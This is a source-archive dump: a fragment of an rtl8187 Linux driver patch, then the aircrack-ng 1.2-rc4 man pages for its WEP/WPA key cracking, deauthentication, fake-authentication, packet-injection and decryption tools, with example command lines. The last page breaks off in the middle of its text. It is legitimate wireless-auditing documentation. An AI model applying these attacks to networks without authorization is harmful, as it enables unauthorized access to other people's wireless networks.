HAVE_NET_DEVICE_OPS +static const struct net_device_ops rtl8180_netdev_ops = { + .ndo_open = rtl8180_open, + .ndo_stop = rtl8180_close, + .ndo_get_stats = rtl8180_stats, + .ndo_tx_timeout = tx_timeout, + .ndo_do_ioctl = rtl8180_ioctl, + .ndo_set_multicast_list = r8180_set_multicast, + .ndo_set_mac_address = r8180_set_mac_adr, + .ndo_start_xmit = ieee80211_xmit_rtl7, +// .ndo_start_xmit = ieee80211_xmit, +}; +#endif static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id) @@ -2622,14 +2633,20 @@ static int __devinit rtl8187_usb_probe(s priv->udev=udev; +#ifdef HAVE_NET_DEVICE_OPS + dev->netdev_ops = &rtl8180_netdev_ops; +#else dev->open = rtl8180_open; dev->stop = rtl8180_close; + dev->get_stats = rtl8180_stats; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; dev->tx_timeout = tx_timeout; dev->wireless_handlers = &r8180_wx_handlers_def; dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#endif + #if WIRELESS_EXT >= 12 #if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; diff -udpr rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c rtl8187_linux_26.1010.0622.2006_2.6.32/ieee80211/ieee80211_module.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c 2010-01-31 11:32:06.000000000 -0500 +++ rtl8187_linux_26.1010.0622.2006_2.6.32/ieee80211/ieee80211_module.c 2010-01-31 09:25:48.000000000 -0500 @@ -117,8 +117,12 @@ struct net_device *alloc_ieee80211_rtl7( IEEE80211_ERROR("Unable to network device.\n"); goto failed; } + +#if LINUX_VERSION_CODE > KERNEL_VERSION(2,5,0) ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit_rtl7; +#else + ieee = (struct ieee80211_device *)dev->priv; +#endif ieee->dev = dev; diff -udpr rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c rtl8187_linux_26.1010.0622.2006_2.6.32/ieee80211/ieee80211_rx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c 2010-01-31 11:28:19.000000000 -0500 +++ rtl8187_linux_26.1010.0622.2006_2.6.32/ieee80211/ieee80211_rx.c 2010-01-31 11:49:16.000000000 -0500 @@ -104,7 +104,12 @@ static inline void ieee80211_monitor_rx_ hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ hdr->f.status = s; hdr->f.len = l; hdr->f.data = d LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); - LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + + hdr->mactime.did = LWNG_CAP_DID_BASE | (2 << 12); + hdr->mactime.status = 0; + hdr->mactime.len = 4; + hdr->mactime.data = rx_stats->mac_time[0]; + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); diff -udpr rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c rtl8187_linux_26.1010.0622.2006_2.6.32/ieee80211/ieee80211_tx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c 2010-01-31 11:32:06.000000000 -0500 +++ rtl8187_linux_26.1010.0622.2006_2.6.32/ieee80211/ieee80211_tx.c 2010-01-31 11:17:55.000000000 -0500 @@ -511,3 +511,4 @@ int ieee80211_xmit_rtl7(struct sk_buff * } EXPORT_SYMBOL(ieee80211_txb_free_rtl7); +EXPORT_SYMBOL(ieee80211_xmit_rtl7); aircrack-ng-1.2-rc4/AUTHORS0000644000000000000000000000005410761053203013765 0ustar rootrootThomas d'Otreppe aircrack-ng-1.2-rc4/manpages/0000755000000000000000000000000012660222375014521 5ustar rootrootaircrack-ng-1.2-rc4/manpages/wpaclean.10000644000000000000000000000215312660207441016373 0ustar rootroot.TH WPACLEAN 1 "February 2016" "Version 1.2-rc4" .SH NAME wpaclean - clean wpa capture files .SH SYNOPSIS .B wpaclean [in2.cap] [...] .SH DESCRIPTION .BI wpaclean Cleans capture files to get only the 4-way handshake and a beacon. .SH AUTHOR This manual page was written by David Francos Cuartero . Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .PP .SH SEE ALSO .br .B airbase-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airodump-ng-oui-update(8) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B besside-ng(8) .br .B easside-ng(8) .br .B tkiptun-ng(8) .br .B wesside-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airolib-ng(1) .br .B besside-ng-crawler(1) .br .B buddy-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) aircrack-ng-1.2-rc4/manpages/airmon-ng.80000644000000000000000000000567512660207441016513 0ustar rootroot.TH AIRMON-NG 8 "February 2016" "Version 1.2-rc4" .SH NAME airmon-ng - POSIX sh script designed to turn wireless cards into monitor mode. .SH SYNOPSIS .B airmon-ng [channel] .B airmon-ng [kill] .SH DESCRIPTION .BI airmon-ng This script can be used to enable monitor mode on wireless interfaces. It may also be used to go back from monitor mode to managed mode. Entering the airmon-ng command without parameters will show the interfaces status. It can also list/kill programs that can interfere with the wireless card operation. .SH OPTIONAL PARAMETERS .PP .TP .I start [channel] Enable monitor mode on an interface (and specify a channel). Note: Madwifi-ng is a special case, \(aqstart\(aq has to be used on wifi interfaces and \(aqstop\(aq on ath interfaces. .TP .I stop Disable monitor mode and go back to managed mode (except for madwifi-ng where it kills the ath VAP). .TP .I check [kill] List all possible programs that could interfere with the wireless card. If \(aqkill\(aq is specified, it will try to kill all of them. .TP .I --verbose This flag must precede start/stop/check and can be combined with with other parameters or used alone. This flag will increase the verbosity to provide additional useful information which may not be needed for normal operation. .TP .I --debug This flag must precede start/stop/check and can be combined with with other parameters or used alone. This flag will increase the verbosity to debug level to assist in troubleshooting errors in airmon-ng. Use this flag when opening a bug, but only use --verbose when requesting support in irc. .TP .I --elite WARNING: DO NOT USE: This flag must precede start or stop and will prevent airmon-ng from removing interfaces. WARNING: Use of this flag will immediately disqualify receiving any support from the aircrack-ng team, due to the fact that this behavior is known to be broken. WARNING! .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). And modified to fit airmon-ng by David Francos Cuartero . Most recently modified by Zero_Chaos to update for the airmon-zc rewrite. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aireplay-ng(8) .br .B airodump-ng(8) .br .B airodump-ng-oui-update(8) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B besside-ng(8) .br .B easside-ng(8) .br .B tkiptun-ng(8) .br .B wesside-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airolib-ng(1) .br .B besside-ng-crawler(1) .br .B buddy-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B wpaclean(1) aircrack-ng-1.2-rc4/manpages/besside-ng-crawler.10000644000000000000000000000253012660207441020255 0ustar rootroot.TH BESSIDE-NG-CRAWLER 1 "February 2016" "Version 1.2-rc4" .SH NAME besside-ng-crawler - filter EAPOL frames from a directory of capture files. .SH SYNOPSIS .B besside-ng-crawler .SH DESCRIPTION .BI besside-ng-crawler Scans recursively on input directory looking for pcap dumpfiles and filters out one beacon and all EAPOL frames for the WPA networks if finds in them. This tool is intended to crawl capfiles to upload them to sorbo's WPA statistic server at http://www.darkircop.org .SH AUTHOR This manual page was written by David Francos Cuartero. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airodump-ng-oui-update(8) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B besside-ng(8) .br .B easside-ng(8) .br .B tkiptun-ng(8) .br .B wesside-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airolib-ng(1) .br .B buddy-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B wpaclean(1) aircrack-ng-1.2-rc4/manpages/airdecap-ng.10000644000000000000000000000350012660207441016750 0ustar rootroot.TH AIRDECAP-NG 1 "February 2016" "Version 1.2-rc4" .SH NAME airdecap-ng - decrypt a WEP/WPA crypted pcap file .SH SYNOPSIS .B airdecap-ng [options] .SH DESCRIPTION .BI airdecap-ng decrypts a WEP/WPA crypted pcap file to a uncrypted one by using the right WEP/WPA keys. .SH OPTIONS .TP .I -H, --help Shows the help screen. .TP .I -l Do not remove the 802.11 header. .TP .I -b Access point MAC address filter. .TP .I -k WPA Pairwise Master Key in hex. .TP .I -e Target network SSID. For SSID containing special characters, see http://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc._in_ap_names .TP .I -p Target network WPA passphrase. .TP .I -w Target network WEP key in hex. .SH EXAMPLES airdecap-ng \-b 00:09:5B:10:BC:5A open-network.cap .br airdecap-ng \-w 11A3E229084349BC25D97E2939 wep.cap .br airdecap-ng \-e my_essid \-p my_passphrase tkip.cap .br .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airodump-ng-oui-update(8) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B besside-ng(8) .br .B easside-ng(8) .br .B tkiptun-ng(8) .br .B wesside-ng(8) .br .B aircrack-ng(1) .br .B airdecloak-ng(1) .br .B airolib-ng(1) .br .B besside-ng-crawler(1) .br .B buddy-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B wpaclean(1) aircrack-ng-1.2-rc4/manpages/aircrack-ng.10000644000000000000000000001250712660207441016766 0ustar rootroot.TH AIRCRACK-NG 1 "February 2016" "Version 1.2-rc4" .SH NAME aircrack-ng - a 802.11 WEP / WPA-PSK key cracker .SH SYNOPSIS .B aircrack-ng [options] <.cap / .ivs file(s)> .SH DESCRIPTION .BI aircrack-ng is an 802.11 WEP and WPA/WPA2-PSK key cracking program. .br It can recover the WEP key once enough encrypted packets have been captured with airodump-ng. This part of the aircrack-ng suite determines the WEP key using two fundamental methods. The first method is via the PTW approach (Pyshkin, Tews, Weinmann). The main advantage of the PTW approach is that very few data packets are required to crack the WEP key. The second method is the FMS/KoreK method. The FMS/KoreK method incorporates various statistical attacks to discover the WEP key and uses these in combination with brute forcing. .br Additionally, the program offers a dictionary method for determining the WEP key. For cracking WPA/WPA2 pre-shared keys, a wordlist (file or stdin) or an airolib-ng has to be used. .SH OPTIONS .TP .B Common options: .TP .I -a Force the attack mode, 1 or wep for WEP and 2 or wpa for WPA-PSK. .TP .I -e Select the target network based on the ESSID. This option is also required for WPA cracking if the SSID is cloacked. For SSID containing special characters, see http://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc._in_ap_names .TP .I -b or --bssid Select the target network based on the access point MAC address. .TP .I -p Set this option to the number of CPUs to use (only available on SMP systems). By default, it uses all available CPUs .TP .I -q If set, no status information is displayed. .TP .I -C or --combine Merges all those APs MAC (separated by a comma) into a virtual one. .TP .I -l Write the key into a file. .PP .TP .B Static WEP cracking options: .TP .I -c Search alpha-numeric characters only. .TP .I -t Search binary coded decimal characters only. .TP .I -h Search the numeric key for Fritz!BOX .TP .I -d or --debug Specify mask of the key. For example: A1:XX:CF .TP .I -m Only keep the IVs coming from packets that match this MAC address. Alternatively, use \-m ff:ff:ff:ff:ff:ff to use all and every IVs, regardless of the network (this disables ESSID and BSSID filtering). .TP .I -n Specify the length of the key: 64 for 40-bit WEP, 128 for 104-bit WEP, etc., until 512 bits of length. The default value is 128. .TP .I -i Only keep the IVs that have this key index (1 to 4). The default behaviour is to ignore the key index in the packet, and use the IV regardless. .TP .I -f By default, this parameter is set to 2. Use a higher value to increase the bruteforce level: cracking will take more time, but with a higher likelihood of success. .TP .I -k There are 17 KoreK attacks. Sometimes one attack creates a huge false positive that prevents the key from being found, even with lots of IVs. Try \-k 1, \-k 2, ... \-k 17 to disable each attack selectively. .TP .I -x or -x0 Disable last keybytes bruteforce (not advised). .TP .I -x1 Enable last keybyte bruteforcing (default) .TP .I -x2 Enable last two keybytes bruteforcing. .TP .I -X Disable bruteforce multithreading (SMP only). .TP .I -s Shows ASCII version of the key at the right of the screen. .TP .I -y This is an experimental single brute-force attack which should only be used when the standard attack mode fails with more than one million IVs. .TP .I -z Uses PTW (Andrei Pyshkin, Erik Tews and Ralf-Philipp Weinmann) attack (default attack). .TP .I -P or --ptw-debug PTW debug: 1 Disable klein, 2 PTW. .TP .I -K Use KoreK attacks instead of PTW. .TP .I -D or --wep-decloak WEP decloak mode. .TP .I -1 or --oneshot Run only 1 try to crack key with PTW. .TP .I -M Specify maximum number of IVs to use. .PP .TP .B WEP and WPA-PSK cracking options .TP .I -w Path to a dictionary file for wpa cracking. Specify "-" to use stdin. Here is a list of wordlists: http://www.aircrack-ng.org/doku.php?id=faq#where_can_i_find_good_wordlists .PP .TP .B WPA-PSK options: .TP .I -E Create Elcomsoft Wireless Security Auditor (EWSA) Project file v3.02. .TP .I -J Create Hashcat Capture file. .TP .I -S WPA cracking speed test. .TP .I -r Path to the airolib-ng database. Cannot be used with \(aq-w\(aq. .PP .TP .B Other options: .TP .I -H or --help Show help screen .TP .I -u or --cpu-detect Provide information on the number of CPUs and MMX/SSE support .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airodump-ng-oui-update(8) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B besside-ng(8) .br .B easside-ng(8) .br .B tkiptun-ng(8) .br .B wesside-ng(8) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airolib-ng(1) .br .B besside-ng-crawler(1) .br .B buddy-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B wpaclean(1) aircrack-ng-1.2-rc4/manpages/airdecloak-ng.10000644000000000000000000000643712660207441017312 0ustar rootroot.TH AIRDECLOAK-NG 1 "February 2016" "Version 1.2-rc4" .SH NAME airuncloak-ng - Removes wep cloaked framed from a pcap file. .SH SYNOPSIS .B airuncloak-ng .SH DESCRIPTION .BI airuncloak-ng is a tool that removes wep cloaking from a pcap file. Some WIPS (actually one) can actively "prevent" cracking a WEP key by inserting chaff (fake wep frames) in the air to fool aircrack-ng. In some rare cases, cloaking fails and the key can be recovered without removing this chaff. In the cases where the key cannot be recovered, use this tool to filter out chaff. The program works by reading the input file and selecting packets from a specific network. Each selected packet is put into a list and classified (default status is "unknown"). Filters are then applied (in the order specified by the user) on this list. They will change the status of the packets (unknown, uncloaked, potentially cloaked or cloaked). The order of the filters is really important since each filter will base its analysis amongst other things on the status of the packets and different orders will give different results. Important requirement: The pcap file needs to have all packets (including beacons and all other "useless" packets) for the analysis (and if possible, prism/radiotap headers). .SH OPTIONS .PP .TP .I -h, --help Shows the help screen. .TP .I -i Path to the capture file. .TP .I --ssid Essid of the network (not yet implemented) to filter. .TP .I --bssid BSSID of the network to filter. .TP .I --null-packets Assume that null packets can be cloaked. .TP .I --disable-base-filter Do not apply base filter. .TP .I --drop-frag Drop fragmented packets. .TP .I --filters Apply different filters (separated by a comma). See below. .SH FILTERS .PP .TP .I signal Try to filter based on signal (prism or radiotap headers in the pcap file). .TP .I duplicate_sn Remove all duplicate sequence numbers for both the AP and the client (that are close to each other). .TP .I duplicate_sn_ap Remove duplicate sequence number for the AP only (that are close to each other). .TP .I duplicate_sn_client Remove duplicate sequence number for the client only (that are close to each other). .TP .I consecutive_sn Filter based on the fact that IV should be consecutive (only for AP). .TP .I duplicate_iv Filter out all duplicate IV. .TP .I signal_dup_consec_sn Use signal (if available), duplicate and consecutive sequence number (filtering is much more precise than using all these filters one by one). .SH AUTHOR This manual page was written by Thomas d\(aqOtreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airodump-ng-oui-update(8) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B besside-ng(8) .br .B easside-ng(8) .br .B tkiptun-ng(8) .br .B wesside-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airolib-ng(1) .br .B besside-ng-crawler(1) .br .B buddy-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B wpaclean(1) aircrack-ng-1.2-rc4/manpages/ivstools.10000644000000000000000000000273012660207441016464 0ustar rootroot.TH IVSTOOLS 1 "February 2016" "Version 1.2-rc4" .SH NAME ivstools - extract IVs from a pcap file or merges several .ivs files into one .SH SYNOPSIS .B ivstools --convert .B ivstools --merge .. .SH DESCRIPTION .BI ivstools is a tool designed to extract ivs (initialization vectors) from a pcap dump to an ivs file and it can also merge several ivs (initialization vectors) files into one.. .SH EXAMPLE .B ivstools --convert wep_dump.cap out.ivs .B ivstools --merge myivs1.ivs myivs2.ivs myivs3.ivs allivs.ivs .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airodump-ng-oui-update(8) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B besside-ng(8) .br .B easside-ng(8) .br .B tkiptun-ng(8) .br .B wesside-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airolib-ng(1) .br .B besside-ng-crawler(1) .br .B buddy-ng(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B wpaclean(1) aircrack-ng-1.2-rc4/manpages/airtun-ng.80000644000000000000000000000435312660207441016520 0ustar rootroot.TH AIRTUN-NG 8 "February 2016" "Version 1.2-rc4" .SH NAME airtun-ng - a virtual tunnel interface creator for aircrack-ng .SH SYNOPSIS .B airtun-ng [options] .SH DESCRIPTION .BI airtun-ng creates a virtual tunnel interface (atX) for sending arbitrary IP packets by using raw ieee802.11 packet injection. .SH OPTIONS .PP .TP .I -H, --help Shows the help screen. .TP .I -x Sets maximum number of packets per second. .TP .I -a Specifies the BSSID for the iee802.11 header. In WDS Mode this sets the Receiver. .TP .I -h Specifies the source MAC for the iee802.11 header. .TP .I -i Sets the capture interface. .TP .I -r Specifies a file to read 802.11 frames. .TP .I -y Is the name of the file, which provides the keystream for WEP encoding. (No receiving, just transmitting of IP packets.) .TP .I -w This is the WEP key to en-/decrypt all traffic going through the tunnel. .TP .I -t Defines the ToDS and FromDS bit in the ieee802.11 header. For tods=1, the ToDS bit is set to 1 and FromDS to 0, while tods=0 sets them the other way around. If set to 2, it will be tunneled in a WDS/bridge. .TP .I -m , --netmask Filters networks based on bssid ^ netmask combination. Needs \-d, used in replay mode. .TP .I -d , --bssid Filters networks based on the . Used in replay mode. .TP .I -f, --repeat Enables replay mode. All read frames, filtered by bssid and netmask (if specified), will be replayed. .TP .I -s Set Transmitter MAC address for WDS Mode. .TP .I -b Bidirectional mode. This enables communication in Transmitter\(aqs AND Receiver\(aqs networks. Works only if you can see both stations. .SH EXAMPLES .B airtun-ng \-a 00:14:22:56:F3:4E \-t 0 \-y keystream.xor wlan0 .PP .SH SEE ALSO .br .B airbase-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airodump-ng-oui-update(8) .br .B airserv-ng(8) .br .B besside-ng(8) .br .B easside-ng(8) .br .B tkiptun-ng(8) .br .B wesside-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airolib-ng(1) .br .B besside-ng-crawler(1) .br .B buddy-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B wpaclean(1) aircrack-ng-1.2-rc4/manpages/airserv-ng.80000644000000000000000000000373512660207441016674 0ustar rootroot.TH AIRSERV-NG 8 "February 2016" "Version 1.2-rc4" .SH NAME airserv-ng - a wireless card server .SH SYNOPSIS .B airserv-ng .SH DESCRIPTION .BI airserv-ng is a wireless card server which allows multiple wireless application programs to independently use a wireless card via a client-server TCP network connection. All operating system and wireless card driver specific code is incorporated into the server. This eliminates the need for each wireless application to contain the complex wireless card and driver logic. It is also supports multiple operating systems. .SH OPTIONS .PP .TP .I -h Shows the help screen. .TP .I -p TCP port to listen on (by default: 666). .TP .I -d Wifi interface to use. .TP .I -c Lock interface to this channel. .TP .I -v Debug level. There are 3 debug levels. Debug level of 1 shows client connection/disconnection (default). Debug level of 2 shows channel change requests and invalid client command requests in addition to the debug level 1 messages. Debug level of 3 displays a message each time a packet (and its length) is sent to the client. It also include messages from level 2 (and 1). .SH AUTHOR This manual page was written by Thomas d\(aqOtreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airodump-ng-oui-update(8) .br .B airtun-ng(8) .br .B besside-ng(8) .br .B easside-ng(8) .br .B tkiptun-ng(8) .br .B wesside-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airolib-ng(1) .br .B besside-ng-crawler(1) .br .B buddy-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B wpaclean(1) aircrack-ng-1.2-rc4/manpages/buddy-ng.10000644000000000000000000000251712660207441016316 0ustar rootroot.TH BUDDY-NG 1 "February 2016" "Version 1.2-rc4" .SH NAME buddy-ng - a tool to work with easside-ng .SH SYNOPSIS .B buddy-ng .SH DESCRIPTION .BI buddy-ng server echoes back the decrypted packets to the system running easside-ng in order to access the wireless network without knowing the WEP key. It is done by having the AP itself decrypt the packets. When ran, it automatically starts and listen to port 6969. .SH OPTIONS .PP .TP .I -h Shows the help screen. .TP .I -p Don\(aqt drop privileges .SH AUTHOR This manual page was written by Thomas d\(aqOtreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airodump-ng-oui-update(8) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B besside-ng(8) .br .B easside-ng(8) .br .B tkiptun-ng(8) .br .B wesside-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airolib-ng(1) .br .B besside-ng-crawler(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B wpaclean(1) aircrack-ng-1.2-rc4/manpages/kstats.10000644000000000000000000000257312660207441016120 0ustar rootroot.TH KSTATS 1 "February 2016" "Version 1.2-rc4" .SH NAME kstats - show statistical FMS algorithm votes for an ivs dump and a specified WEP key .SH SYNOPSIS .B kstats <104-bit key> .SH DESCRIPTION .BI kstats is a tool designed to show the FMS algorithm votes for an ivs dump (intialization vectors) with a specified WEP key. The ivs dump can be get by using the combinaison of both airodump(1) and ivstools(1). .SH EXAMPLE .B kstats kstats out.ivs 123456789ABCDEF123456789AB .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(8) .br .B aireplay-ng(8) .br .B airmon-ng(8) .br .B airodump-ng(8) .br .B airodump-ng-oui-update(8) .br .B airserv-ng(8) .br .B airtun-ng(8) .br .B besside-ng(8) .br .B easside-ng(8) .br .B tkiptun-ng(8) .br .B wesside-ng(8) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airolib-ng(1) .br .B besside-ng-crawler(1) .br .B buddy-ng(1) .br .B ivstools(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B wpaclean(1) aircrack-ng-1.2-rc4/manpages/aireplay-ng.80000644000000000000000000002302312660207441017017 0ustar rootroot.TH AIREPLAY-NG 8 "February 2016" "Version 1.2-rc4" .SH NAME aireplay-ng - inject packets into a wireless network to generate traffic .SH SYNOPSIS .B aireplay-ng [options] .SH DESCRIPTION .B aireplay-ng is used to inject/replay frames. The primary function is to generate traffic for the later use in aircrack-ng for cracking the WEP and WPA-PSK keys. There are different attacks which can cause deauthentications for the purpose of capturing WPA handshake data, fake authentications, Interactive packet replay, hand-crafted ARP request injection and ARP-request reinjection. With the packetforge-ng tool it\(aqs possible to create arbitrary frames. .br .PP .B aireplay-ng supports single-NIC injection/monitor. .br This feature needs driver patching. .br .SH OPTIONS .TP .I -H, --help Shows the help screen. .PP .TP .B Filter options: .TP .I -b MAC address of access point. .TP .I -d MAC address of destination. .TP .I -s MAC address of source. .TP .I -m Minimum packet length. .TP .I -n Maximum packet length. .TP .I -u Frame control, type field. .TP .I -v Frame control, subtype field. .TP .I -t Frame control, "To" DS bit (0 or 1). .TP .I -f Frame control, "From" DS bit (0 or 1). .TP .I -w Frame control, WEP bit (0 or 1). .TP .I -D Disable AP Detection. .PP .TP .B Replay options: .TP .I -x Number of packets per second. .TP .I -p Set frame control word (hex). .TP .I -a Set Access Point MAC address. .TP .I -c Set destination MAC address. .TP .I -h Set source MAC address. .TP .I -g Change ring buffer size (default: 8 packets). The minimum is 1. .TP .I -F Choose first matching packet. .TP .I -e Fake Authentication attack: Set target SSID (see below). For SSID containing special characters, see http://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc._in_ap_names .TP .I -o Fake Authentication attack: Set the number of packets for every authentication and association attempt (Default: 1). 0 means auto .TP .I -q Fake Authentication attack: Set the time between keep-alive packets in fake authentication mode. .TP .I -Q Fake Authentication attack: Sends reassociation requests instead of performing a complete authentication and association after each delay period. .TP .I -y Fake Authentication attack: Specifies the keystream file for fake shared key authentication. .TP .I -T n Fake Authentication attack: Exit if fake authentication fails \(aqn\(aq time(s). .TP .I -j ARP Replay attack : inject FromDS pakets (see below). .TP .I -k Fragmentation attack: Set destination IP in fragments. .TP .I -l Fragmentation attack: Set source IP in fragments. .TP .I -B Test option: bitrate test. .PP .TP .B Source options: .TP .I -i Capture packets from this interface. .TP .I -r Extract packets from this pcap file. .PP .TP .B Miscellaneous options: .TP .I -R disable /dev/rtc usage. .PP .I --ignore-negative-one if the interface\(aqs channel can\(aqt be determined ignore the mismatch, needed for unpatched cfg80211 .PP .TP .B Attack modes: .TP .I -0 , --deauth= This attack sends deauthentication packets to one or more clients which are currently associated with a particular access point. Deauthenticating clients can be done for a number of reasons: Recovering a hidden ESSID. This is an ESSID which is not being broadcast. Another term for this is "cloaked" or Capturing WPA/WPA2 handshakes by forcing clients to reauthenticate or Generate ARP requests (Windows clients sometimes flush their ARP cache when disconnected). Of course, this attack is totally useless if there are no associated wireless client or on fake authentications. .TP .I -1 , --fakeauth= The fake authentication attack allows you to perform the two types of WEP authentication (Open System and Shared Key) plus associate with the access point (AP). This is only useful when you need an associated MAC address in various aireplay-ng attacks and there is currently no associated client. It should be noted that the fake authentication attack does NOT generate any ARP packets. Fake authentication cannot be used to authenticate/associate with WPA/WPA2 Access Points. .TP .I -2, --interactive This attack allows you to choose a specific packet for replaying (injecting). The attack can obtain packets to replay from two sources. The first being a live flow of packets from your wireless card. The second being from a pcap file. Reading from a file is an often overlooked feature of aireplay-ng. This allows you read packets from other capture sessions or quite often, various attacks generate pcap files for easy reuse. A common use of reading a file containing a packet your created with packetforge-ng. .TP .I -3, 